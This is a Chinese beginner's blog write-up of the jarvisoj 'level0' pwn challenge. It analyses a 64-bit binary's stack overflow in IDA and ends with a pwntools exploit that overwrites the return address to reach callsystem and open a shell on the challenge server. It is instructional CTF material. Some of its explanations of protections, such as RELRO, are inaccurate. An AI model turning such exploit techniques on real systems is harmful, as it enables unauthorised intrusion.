jarvisoj pwn level系列

某重新入坑的小白试图学会如何打pwn
从现在开始,个人计划也就开始了,希望能走下去吧,
先看看blibli这个基础的
CTF pwn 小白基础课
后面的UP主后面有,讲得浅显易懂
有基础有能力有时间的可以看看这个人在这里插入图片描述
我不认识他但是货很干,很厉害,可以看看他的博客
然后 不多说,来搞事情
做题网站
level0
首先,下下来这个东东

在这里插入图片描述
拿到程序后先file可知为64位程序和动态链接
cheksec一下检查保护机制
在这里插入图片描述
我们能看到这个玩意,可以看到是一个只开启了NX的64位linux程序。
Stack:栈保护
RELRO:让程序到处跑,不固定
stack:栈上面的保护
NX那里是不让你改栈上面的东西
PIE不让你知道程序在哪
当然,这是便于理解的说辞
下面是标准解读(直接贴图了)
在这里插入图片描述
接下来,拖进IDA里面去看看
(这里有些小白可能会错愕,为啥自己的IDA里面没有那一堆堆的数据,右键 test view 就有了)
看看main函数
在这里插入图片描述
这个vulnerable_function看上去很可疑啊,我们点进去看看
在这里插入图片描述
可以看到vulnerable_function中调用了read(0,buf,0x200),其中buf的位置是rbp-0x80,从标准输入(fd=0)读取的字符长度为0x200,这样就造成了栈溢出。
将简单就是200位的东西写到了80里面多出来了就溢出了
所以我们看看这个buf
在这里插入图片描述
在这里插入图片描述
1-80 ,16进制
然后shift F12可以找一下比较关键的/bin/sh
(这里有同学可能一直按但都是调光亮,这是esc+fn,解除fn的锁定就可以使用了)
在这里插入图片描述
然后点开他,
在这里插入图片描述
callsystem,有没有想到刀剑(笑)
在这里插入图片描述
这一行对应的Address是0000000000400596
payload=0x88*‘a’+p64(0000000000400596)
128个a覆盖就好
建立一个远程连接,url或者ip作为地址,然后指明端口
有些里面有r.close()就是利用好关闭
我的长这样最后

from pwn import *
call_addr = 0x400596
r = remote('pwn2.jarvisoj.com', 9881)

payload=0x88*'a'+p64(0x400596)

r.send(payload)
r.interactive()

在这里插入图片描述这样就OK了

猜你喜欢

转载自blog.csdn.net/weixin_45551695/article/details/106347135